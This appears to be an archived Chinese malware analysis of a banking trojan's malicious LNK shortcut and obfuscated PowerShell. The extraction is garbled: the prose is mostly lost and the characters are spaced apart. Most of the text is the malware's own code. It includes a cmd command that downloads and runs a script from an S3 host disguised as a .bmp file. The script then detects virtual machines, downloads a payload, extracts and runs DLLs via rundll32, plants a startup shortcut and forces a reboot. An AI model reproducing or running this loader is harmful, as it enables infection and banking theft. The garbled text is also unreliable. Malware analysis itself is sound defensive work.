[14799] 2019-11-10_分析银行木马的恶意快捷方式及混淆的Powershell

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2019-11-10_分析银行木马的恶意快捷方式及混淆的Powershell P o w e r s h e l l   F r e e B u f   2 0 1 9 - 1 1 - 1 0 W i n d o w s L N K P o w e r s h e l l I S E S t e r i o d s ! 1   L N K c m d . e x e , /   V /   C 使 使 / & & 使 s e t 便 x 4 O A G W f x l E S 0 2 z 6 N n U k K L 1 U 0 3 H m U O 6 B 9 I c u r C N N l o 4 u r l A d o b e   F l a s h   P l a y e r M i c r o s o f t i e x I n v o k e - E x p r e s s i o n A m a z o n   A W S . B M P 使 P o w e r s h e l l 使 ,   I S E S b m p P o w e r s h e l l M D 5 9 0 7 d b c 3 0 4 8 f 7 5 b b 5 7 7 f f 9 c 0 6 4 f 8 6 0 f c 5 S H A - 1 6 6 7 b 8 f a 8 7 c 3 1 f 7 a f a 9 a 7 b 3 2 c 3 d 8 8 f 3 6 5 a 2 e e a b 9 c S H A - 2 5 6 7 8 a 1 4 c 6 6 6 3 b d 9 2 3 5 b 0 1 4 b 6 d 7 b 7 c e 1 9 4 8 7 f 1 6 3 3 1 7 f d d 3 6 b b 1 1 1 d 8 7 9 7 d 7 a 7 f 1 7 2 4 C : W i n d o w s s y s t e m 3 2 c m d . e x e   / V   / C   s e t   x 4 O A G W f x l E S 0 2 z 6 N n U k K = 2 w h t t p r 0 & & s e t   L 1 U 0 3 H m U O 6 B 9 I c u r C N N l o 4 = . c o m & &   e c h o   |   s t a r t   % x 4 O A G W f x l E S 0 2 z 6 N n U k K : ~ 2 , 4 % s : / / g e t . a d o b e % L 1 U 0 3 H m U O 6 B 9 I c u r C N N l o 4 % / b r / f l a s h p l a y e r / c m d . e x e   / ? s e t   x 4 O A G W f x l E S 0 2 z 6 N n U k K = 2 w h t t p r 0 & & s e t   L 1 U 0 3 H m U O 6 B 9 I c u r C N N l o 4 = . c o m & &   e c h o   |   s t a r t   % x 4 O A G W f x l E S 0 2 z 6 N n U k K : ~ 2 , 4 % s : / / g e t . a d o b e % L 1 U 0 3 H m U O 6 B 9 I c u r C N N l o 4 % / b r / f l a s h p l a y e r / h t t p s : / / g e t . a d o b e . c o m / b r / f l a s h p l a y e r / C : W i n d o w s s y s t e m 3 2 c m d . e x e   / V   / C   s e t   x 4 O A G W f x l E S 0 2 z 6 N n U k K = 2 w h t t p r 0 & & s e t   L 1 U 0 3 H m U O 6 B 9 I c u r C N N l o 4 = . c o m & &   e c h o   |   s t a r t   % x 4 O A G W f x l E S 0 2 z 6 N n U k K : ~ 2 , 4 % s : / / g e t . a d o b e % L 1 U 0 3 H m U O 6 B 9 I c u r C N N l o 4 % / b r / f l a s h p l a y e r /                                                                                                                                                                                                                                             & & x 4 O A G W f x l E S 0 2 z 6 N n U k K = 2 w h t t p r 0 L 1 U 0 3 H m U O 6 B 9 I c u r C N N l o 4 = . c o m % x 4 O A G W f x l E S 0 2 z 6 N n U k K : ~ 2 , 4 % s : / / g e t . a d o b e % L 1 U 0 3 H m U O 6 B 9 I c u r C N N l o 4 % / b r / f l a s h p l a y e r /   a Z M 4 j 3 Z h P L B n 9 M p u x a O =   - w i n   1 M l y a v W f E = n d o w s j A 8 A x a o 1 x c Z = i E x W M k g A 3 u X a 1 p X x = t R i K N h G m A q H G 5 = b J e 4 k x h a z 6 b q q K C = L O a d r w Z C n S C 7 T = n o p j c C v C = N E w Z T V Z = w E b c D A B T h z R u T T 2 h Y j V O y = n t ) . d o w c w d O s P O d A 0 8 S Z a X V p 1 e F R = t   N e T . R b = E r s j 4 H f R A q Y X c R Z 3 R = h E l l K p l 0 1 S s X Y 5 t t h b 1 = . b m p v h 7 q 6 A q 0 z Z V L c l P m = v 1 . e c h o   i E x ( i E x ( N E w - o b J e c t   N e T . w E b c L i e n t ) . d o w n L O a d S t R i N G ( ' h t t p s : / / s 3 - e u - w e s t - 1 . a m a z o n a w s . c o m / j u r e m a s o b r a 2 / j u r e k l a r j 9 3 4 t 9 o i 4 . b m p ' ) " ) ;   |   W i n d o w s p O w E r s h E l l v 1 . 0 p O w E r s h E l l   - n o p   - w i n   1   - - % P r o g r a m F i l e s % I n t e r n e t   E x p l o r e r i e x p l o r e . e x e - n o p - w i n   1 1 $ { _ _ _ _ / = = = / = = = = = / }   =   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' a A B 0 A H Q A c A B z A D o A L w A v A H M A M w A t A G U A d Q A t A H c A Z Q B z A H Q A L Q A x A * * A Y Q B t A G E A e g B v A G 4 A Y Q B 3 A H M A L g B j A G 8 A b Q A v A G o A d Q B y A G U A b Q B h A H M A b w B i A H I A Y Q A y A C 8 A a Q B t A G E A Z w B l A D I A L g B w A G 4 A Z w A = = = ' _ . d l l   =   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' X w A u A G Q A b A B s A A = = ' ) ) ) _ . p r x   =   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' X w A u A H A A c g B 4 A A = = ' ) ) ) M a x N o t i f y       =   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' T Q B h A H g A T g B v A H Q A a Q B m A H k A ' ) ) ) f u n c t i o n   _ / = / / = = = / = = _ _ _ {     $ { _ / _ _ _ / = _ / / _ _ / }   =   g w m i   - C l a s s   W i n 3 2 _ C o m p u t e r S y s t e m   | s e l e c t   - E x p a n d P r o p e r t y   M o d e l     i f   ( $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' V g B p A H I A d A B 1 A G E A b A B C A G 8 A e A A = ' ) ) )   - o r         $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' V g B N A H c A Y Q B y A G U A I A B W A G k A c g B 0 A H U A Y Q B s A C A A U A B s A G E A d A B m A G 8 A c g B t A A = = ' ) ) )   - o r         $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' V g B p A H I A d A B 1 A G E A b A A g A E 0 A Y Q B j A G g A a Q B u A G U A ' ) ) )   - o r     $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' S A B W A E 0 A I A B k A G 8 A b Q B V A A = = ' ) ) ) )     {         r e t u r n   " Y "     }     e l s e     {           r e t u r n   " N "     } } f u n c t i o n   _ _ _ _ / _ _ / = = = _ / = / {     t r y     {         $ { _ _ _ / _ / = _ / = _ / / }   =   G e t - R a n d o m   - M i n i m u m   1   - M a x i m u m   9         $ { _ / / _ / / _ / = / / }   =   " "         F o r   ( $ { / = = / _ _ _ / _ / / = = } = 0 ;   $ { / = = / _ _ _ / _ / / = = }   - l e   $ { _ _ _ / _ / = _ / = _ / / } ;   $ { / = = / _ _ _ / _ / / = = } + + )           {             q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M     =   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' c Q B 3 A G U A c g B 0 A H k A d Q B p A G 8 A c A B s A G s A a g B o A G c A Z g B k A H M A Y Q B 6 A H g A Y w B 2 A G I A b g B t A F E * * w B F A F I * * A B Z A F U A S Q B P A F A A Q Q B T A E Q A R g B H A E g A S g B L A E w A W g B Y A E M * * g B C A E 4 A T Q A = '
            q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M     =   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' c Q B 3 A G U A c g B 0 A H k A d Q B p A G 8 A c A B s A G s A a g B o A G c A Z g B k A H M A Y Q B 6 A H g A Y w B 2 A G I A b g B t A F E * * w B F A F I * * A B Z A F U A S Q B P A F A A Q Q B T A E Q A R g B H A E g A S g B L A E w A W g B Y A E M * * g B C A E 4 A T Q A = '             n o m e R a n d o m i c o _ g e t r a n d o m     =   G e t - R a n d o m   - M i n i m u m   1   - M a x i m u m   q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M . L e n g t h             c a r a c t e r e R a n d o m i c o   =   q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M . S u b s t r i n g ( n o m e R a n d o m i c o _ g e t r a n d o m , 1 )             $ { _ / / _ / / _ / = / / }   =   $ { _ / / _ / / _ / = / / } + c a r a c t e r e R a n d o m i c o               }         r e t u r n   $ { _ / / _ / / _ / = / / }       }     f i n a l l y { } } f u n c t i o n   _ _ / = = = = _ _ _ / = _ / _ ( $ { _ _ _ / / _ / _ / = _ _ / } ,   $ { _ _ _ / = = / = / = _ _ _ _ / } ) {           $ { / = _ / / = = = = / _ / }   =   N e w - O b j e c t   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' U w B 5 A H M A d A B l A G 0 A L g B V A H I A a Q A = ' ) ) )   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g (         $ { / = / = = = _ / / _ / _ }   =   [ S y s t e m . N e t . H t t p W e b R e q u e s t ] : : C r e a t e ( $ { / = _ / / = = = = / _ / } )           $ { / = / = = = _ / / _ / _ } . s e t _ T i m e o u t ( 1 5 0 0 0 )           $ { / = / = = = = _ _ / = = _ _ }   =   $ { / = / = = = _ / / _ / _ } . G e t R e s p o n s e ( )           $ { / = _ / = = _ _ / _ _ / _ }   =   [ S y s t e m . M a t h ] : : F l o o r ( $ { / = / = = = = _ _ / = = _ _ } . g e t _ C o n t e n t L e n g t h ( ) / 1 0 2 4 )           $ { _ / = = = / = _ / = _ _ _ / }   =   $ { / = / = = = = _ _ / = = _ _ } . G e t R e s p o n s e S t r e a m ( )           $ { _ _ / = = = = _ _ / / _ _ / }   =   N e w - O b j e c t   - T y p e N a m e   S y s t e m . I O . F i l e S t r e a m   - A r g u m e n t L i s t   $ { _ _ _ / = = / = / = _ _ _ _ / } ,   C r e a t e           $ { / = / = / = = _ / / = _ }   =   n e w - o b j e c t   b y t e [ ]   1 0 K B           $ { _ / = = = _ / = / / = = = }   =   $ { _ / = = = / = _ / = _ _ _ / } . R e a d ( $ { / = / = / = = _ / / = _ } , 0 , $ { / = / = / = = _ / / = _ } . l e n g t h )           $ { / = = _ / = = = / / = / }   =   $ { _ / = = = _ / = / / = = = }           w h i l e   ( $ { _ / = = = _ / = / / = = = }   - g t   0 )           {                   $ { _ _ / = = = = _ _ / / _ _ / } . W r i t e ( $ { / = / = / = = _ / / = _ } ,   0 ,   $ { _ / = = = _ / = / / = = = } )                   $ { _ / = = = _ / = / / = = = }   =   $ { _ / = = = / = _ / = _ _ _ / } . R e a d ( $ { / = / = / = = _ / / = _ } , 0 , $ { / = / = / = = _ / / = _ } . l e n g t h )                   $ { / = = _ / = = = / / = / }   =   $ { / = = _ / = = = / / = / }   +   $ { _ / = = = _ / = / / = = = }           }           $ { _ _ / = = = = _ _ / / _ _ / } . F l u s h ( )         $ { _ _ / = = = = _ _ / / _ _ / } . C l o s e ( )           $ { _ _ / = = = = _ _ / / _ _ / } . D i s p o s e ( )           $ { _ / = = = / = _ / = _ _ _ / } . D i s p o s e ( )           r e t u r n   " Y " }   f u n c t i o n   _ _ _ _ _ / = = _ / = _ / = = = {     P a r a m ( [ s t r i n g ] $ { _ / = = = = = / = = / _ _ _ / } , [ s t r i n g ] $ { _ _ _ / _ _ _ _ / _ / = / _ } ) ;     t r y {             $ { _ / / = / / = = = / / }   =   N e w - O b j e c t   - C o m O b j e c t   W S c r i p t . S h e l l           $ { / = / = / / = _ / = _ _ }   =   $ { _ / / = / / = = = / / } . C r e a t e S h o r t c u t ( $ { _ / = = = = = / = = / _ _ _ / } )           $ { / = / = / / = _ / = _ _ } . T a r g e t P a t h   =   ' p o w e r s h e l l '         $ { / = / = / / = _ / = _ _ } . A r g u m e n t s   =   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' J A B 7 A F 8 A X w B f A C 8 A X A B f A F 8 A X w B f A C 8 A X A B f A C 8 A P Q B c A C 8 A X A B f A H 0 A '         $ { / = / = / / = _ / = _ _ } . W o r k i n g D i r e c t o r y   =   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' J Q B T A H k A c w B 0 A G U A b Q B S A G 8 A b w B 0 A C U A X A B T A H k A c w B 0 A G U A b Q A z A D I A ' ) ) )           $ { / = / = / / = _ / = _ _ } . W i n d o w S t y l e   =   7               $ { / = / = / / = _ / = _ _ } . I c o n L o c a t i o n   =   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' J Q B Q A H I A b w B n A H I A Y Q B t A E Y A a Q B s A G U A c w A l A F w A S Q B u A H Q A Z Q B y A G 4 A Z Q B 0 A C A A R Q B 4 A H A A b A B v A H I A Z Q B y A F w A a Q B l A H g A c A B s A G 8 A c g B l A * * A Z Q B 4 A G U A L A A x A A = = '         $ { / = / = / / = _ / = _ _ } . S a v e ( )     } f i n a l l y { } } f u n c t i o n   _ / = / _ / / = = = _ / = = {     t r y     {         $ { _ / = = = = = = _ / / = / }   =   N e w - O b j e c t   S y s t e m . T h r e a d i n g . M u t e x ( $ f a l s e ,   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' N A A 0 A D Q A N A A 0 A D Q A N A A 0 A D Q A N A A 0 A D Q A ' ) ) ) )         r e t u r n   $ { _ / = = = = = = _ / / = / } . W a i t O n e ( )         } f i n a l l y { } }     i f   ( _ / = / / = = = / = = _ _ _   - e q   " N " )     {     i f   ( _ / = / _ / / = = = _ / = = )     {           s t o p - p r o c e s s   - n a m e   w m p l a y e r           $ { _ _ _ / / = = = _ _ _ _ / / }   =   $ { e n v : A P P D A T A } + " "         $ { / = _ _ _ _ _ _ / = / = = / }   =   _ _ _ _ / _ _ / = = = _ / = /         $ { / = = = / = / _ / = / = = }   =   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' L g B 0 A H g A d A A = ' ) ) )         $ { _ / = / = = = / _ _ _ / _ }   =   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' L g B 2 A G I A c w A = ' ) ) )         $ { / = / = = _ _ / _ / _ _ / }     =   $ { _ _ _ / / = = = _ _ _ _ / / } + $ { / = _ _ _ _ _ _ / = / = = / } + $ { / = = = / = / _ / = / = = }         $ { / = _ _ / = _ _ _ / = = = _ }     =   $ { _ _ _ / / = = = _ _ _ _ / / } + $ { / = _ _ _ _ _ _ / = / = = / } + $ { _ / = / = = = / _ _ _ / _ }           s l e e p   - s   1                 $ { / = = = / _ / = = = = / = }     =   $ f a l s e                 w h i l e ( $ { / = = = / _ / = = = = / = }   - n e   $ t r u e )                 {                 _ _ / = = = = _ _ _ / = _ / _   $ { _ _ _ _ / = = = / = = = = = / }   $ { / = / = = _ _ / _ / _ _ / } ;   s l e e p   - s   1                   i f   ( ( g i   $ { / = / = = _ _ / _ / _ _ / } ) . l e n g t h   - g t   2 0 4 8 k b )                   {                       $ { / = = = / _ / = = = = / = }     =   $ t r u e                                                                                                                                           $ { _ / = _ / = = / = _ _ / _ }   =     " Y "                       }                       e l s e                         {                                                                   $ { _ / = _ / = = / = _ _ / _ }   =   " N "                       }                 W r i t e - H o s t   $ { / = = = / _ / = = = = / = }                 }    
使 b a s e 6 4                 }                   $ { _ / = _ / = = / = _ _ / _ }   =     " Y "                   i f   ( $ { _ / = _ / = = / = _ _ / _ }   - e q   " Y " )                     {                     $ { / = = = _ _ / / = = _ / = = }   =   $ { _ _ _ / / = = = _ _ _ _ / / } + $ { / = _ _ _ _ _ _ / = / = = / }   + $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' L g B 6 A G k A c A A = ' ) ) )                       r e n   - P a t h   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' J A B 7 A C 8 A P Q B c A C 8 A P Q A 9 A F w A X w B f A C 8 A X A B f A C 8 A X A B f A F 8 A L w B 9 A A = = ' ) ) )   - N e w N a m e                       $ { / = _ / = _ / = = = _ _ _ / }   =   N e w - O b j e c t   - C o m O b j e c t   s h e l l . a p p l i c a t i o n                     $ { _ / _ _ _ / _ / = = = = = = }   =   $ { / = _ / = _ / = = = _ _ _ / } . N a m e S p a c e ( $ { / = = = _ _ / / = = _ / = = } )                                                       f o r e a c h   ( $ { _ / = = = = / _ / / _ _ / }   i n   $ { _ / _ _ _ / _ / = = = = = = } . i t e m s ( ) )                             {                                 $ { / = _ / = _ / = = = _ _ _ / } . N a m e s p a c e ( $ { _ _ _ / / = = = _ _ _ _ / / } ) . C o p y H e r e ( $ { _ / = = = = / _ / / _ _ / } )                           }                     s l e e p   - s   3                       $ { _ / _ / = _ / = _ / _ _ _ }   =   _ _ _ _ / _ _ / = = = _ / = /                     $ { / = _ / = = = / _ / = = = }   =   $ { _ / _ / = _ / = _ / _ _ _ }   +   $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' L g B w A H I A e A A = ' ) ) )                       $ { _ / _ / = _ / = _ / _ _ _ }   =   $ { _ / _ / = _ / = _ / _ _ _ }   + $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' L g B k A G w A b A A = ' ) ) )                       r e n   - P a t h   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' J A B l A G 4 A d g A 6 A E E A U A B Q A E Q A Q Q B U A E E A X A A k A H s A X w A v A F w A L w B c A F 8 A L w B c A F 8 A L w A 9 A F w A L w A 9 A D 0 A P Q A 9 A H 0 A ' ) ) )   - N e w N a m e                       r e n   - P a t h   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' J A B l A G 4 A d g A 6 A E E A U A B Q A E Q A Q Q B U A E E A X A A k A H s A X w A v A F w A X w B f A F 8 A X w A v A D 0 A X A A v A F w A X w A v A D 0 A P Q A 9 A H 0 A ' ) ) )   - N e w N a m e                       s l e e p   - s   3                       c d   $ e n v : A P P D A T A   ;                       s h e l l O b j e t o   =   N e w - O b j e c t   - C o m   W S c r i p t . S h e l l                     $ { _ / = / / / = _ _ / / = }   =   s h e l l O b j e t o . S p e c i a l F o l d e r s . I t e m ( $ ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' c w B 0 A G E A c g B 0 A H U A c A A = ' ) ) ) ) ;                                         d e l   $ { _ / = / / / = _ _ / / = } * . v b s                     d e l   $ { _ / = / / / = _ _ / / = } * . l n k                     $ { / = _ _ _ _ _ _ / _ / _ / = }   =   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A I A A g A C A A Y w B k A C A A J A B l A G 4 A d g A 6 A E E A U A B Q A E Q A Q Q B U A E E A O w A g A F M A d A B h A H I A d A A t A F A A c g B v A G M A Z Q B z A H M A I A B y A H U A b g B k A G w A b A A z A D I A L g B l A H g A Z Q A g A C Q A e w B f A C 8 A X A B f A C 8 A P Q B c A F 8 A L w A 9 A F w A X w A v A F w A X w B f A F 8 A f Q A s A C A A J A B 7 A F 8 A X w B f A C 8 A P Q B c A C 8 A X A A v A F w A X w B f A F 8 A X w B f A C 8 A P Q B 9 A A = = ' ) ) )                     $ { _ _ _ / = / = = / _ _ _ _ _ }   =   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' J A B 7 A F 8 A L w A 9 A F w A L w B c A C 8 A X A A v A D 0 A X A B f A F 8 A L w B c A C 8 A P Q B 9 A F w A J A B 7 A C 8 A P Q B c A F 8 A L w A 9 A D 0 A P Q B c A C 8 A X A B f A C 8 A P Q A 9 A D 0 A X A B 9 A * * A b A B u A G s A ' ) ) )                                         _ _ _ _ _ / = = _ / = _ / = = =   $ { _ _ _ / = / = = / _ _ _ _ _ }     $ { / = _ _ _ _ _ _ / _ / _ / = }                     s l e e p   - s   4 0 R e s t a r t - C o m p u t e r   - F o r c e                 }         }     } $ { _ _ _ _ / = = = / = = = = = / }   =   $ ( ' h t t p s : / / s 3 - e u - w e s t - 1 . a m a z o n a w s . c o m / j u r e m a s o b r a 2 / i m a g e 2 . p n g ' ) _ . d l l   =   $ ( ' _ . d l l ' ) _ . p r x   =   $ ( ' _ . p r x ' ) M a x N o t i f y       =   $ ( ' M a x N o t i f y ' ) f u n c t i o n   _ / = / / = = = / = = _ _ _ {     $ { _ / _ _ _ / = _ / / _ _ / }   =   g w m i   - C l a s s   W i n 3 2 _ C o m p u t e r S y s t e m   | s e l e c t   - E x p a n d P r o p e r t y   M o d e l     i f   ( $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( ' V i r t u a l B o x ' )   - o r         $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( ' V M w a r e   V i r t u a l   P l a t f o r m ' )   - o r         $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( ' V i r t u a l   M a c h i n e ' )   - o r     $ { _ / _ _ _ / = _ / / _ _ / }   - e q   $ ( ' H V M   d o m U ' )     {         r e t u r n   " Y "     }     e l s e     {           r e t u r n   " N "     } } f u n c t i o n   _ _ _ _ / _ _ / = = = _ / = / {     t r y     {         $ { _ _ _ / _ / = _ / = _ / / }   =   G e t - R a n d o m   - M i n i m u m   1   - M a x i m u m   9         $ { _ / / _ / / _ / = / / }   =   " "         F o r   ( $ { / = = / _ _ _ / _ / / = = } = 0 ;   $ { / = = / _ _ _ / _ / / = = }   - l e   $ { _ _ _ / _ / = _ / = _ / / } ;   $ { / = = / _ _ _ / _ / / = = } + + )           {             q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M     =   $ ( ' q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M ' )             n o m e R a n d o m i c o _ g e t r a n d o m     =   G e t - R a n d o m   - M i n i m u m   1   - M a x i m u m   q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M . L e n g t h             c a r a c t e r e R a n d o m i c o   =   q w e r t y u i o p l k j h g f d s a z x c v b n m Q W E R T Y U I O P A S D F G H J K L Z X C V B N M . S u b s t r i n g ( n o m e R a n d o m i c o _ g e t r a n d o m , 1 )             $ { _ / / _ / / _ / = / / }   =   $ { _ / / _ / / _ / = / / } + c a r a c t e r e R a n d o m i c o               }         r e t u r n   $ { _ / / _ / / _ / = / / }       }     f i n a l l y { } } f u n c t i o n   _ _ / = = = = _ _ _ / = _ / _ ( $ { _ _ _ / / _ / _ / = _ _ / } ,   $ { _ _ _ / = = / = / = _ _ _ _ / } ) {         $ { / = _ / / = = = = / _ / }   =   N e w - O b j e c t   $ ( ' S y s t e m . u r i ' )   $ E x e c u t i o n C o n t e x t . I n v o k e C o m m a n d . E x p a n d S t r i n g ( $ S { _ _ _ / / _ / _ / = _ _ / } )           $ { / = / = = = _ / / _ / _ }   =   [ S y s t e m . N e t . H t t p W e b R e q u e s t ] : : C r e a t e ( $ { / = _ / / = = = = / _ / } )           $ { / = / = = = _ / / _ / _ } . s e t _ T i m e o u t ( 1 5 0 0 0 )           $ { / = / = = = = _ _ / = = _ _ }   =   $ { / = / = = = _ / / _ / _ } . G e t R e s p o n s e ( )           $ { / = _ / = = _ _ / _ _ / _ }   =   [ S y s t e m . M a t h ] : : F l o o r ( $ { / = / = = = = _ _ / = = _ _ } . g e t _ C o n t e n t L e n g t h ( ) / 1 0 2 4 )           $ { _ / = = = / = _ / = _ _ _ / }   =   $ { / = / = = = = _ _ / = = _ _ } . G e t R e s p o n s e S t r e a m ( )  
        $ { _ / = = = / = _ / = _ _ _ / }   =   $ { / = / = = = = _ _ / = = _ _ } . G e t R e s p o n s e S t r e a m ( )           $ { _ _ / = = = = _ _ / / _ _ / }   =   N e w - O b j e c t   - T y p e N a m e   S y s t e m . I O . F i l e S t r e a m   - A r g u m e n t L i s t   $ { _ _ _ / = = / = / = _ _ _ _ / } ,   C r e a t e           $ { / = / = / = = _ / / = _ }   =   n e w - o b j e c t   b y t e [ ]   1 0 K B           $ { _ / = = = _ / = / / = = = }   =   $ { _ / = = = / = _ / = _ _ _ / } . R e a d ( $ { / = / = / = = _ / / = _ } , 0 , $ { / = / = / = = _ / / = _ } . l e n g t h )           $ { / = = _ / = = = / / = / }   =   $ { _ / = = = _ / = / / = = = }           w h i l e   ( $ { _ / = = = _ / = / / = = = }   - g t   0 )           {                   $ { _ _ / = = = = _ _ / / _ _ / } . W r i t e ( $ { / = / = / = = _ / / = _ } ,   0 ,   $ { _ / = = = _ / = / / = = = } )                   $ { _ / = = = _ / = / / = = = }   =   $ { _ / = = = / = _ / = _ _ _ / } . R e a d ( $ { / = / = / = = _ / / = _ } , 0 , $ { / = / = / = = _ / / = _ } . l e n g t h )                   $ { / = = _ / = = = / / = / }   =   $ { / = = _ / = = = / / = / }   +   $ { _ / = = = _ / = / / = = = }           }           $ { _ _ / = = = = _ _ / / _ _ / } . F l u s h ( )         $ { _ _ / = = = = _ _ / / _ _ / } . C l o s e ( )           $ { _ _ / = = = = _ _ / / _ _ / } . D i s p o s e ( )           $ { _ / = = = / = _ / = _ _ _ / } . D i s p o s e ( )           r e t u r n   " Y " }   f u n c t i o n   _ _ _ _ _ / = = _ / = _ / = = = {     P a r a m ( 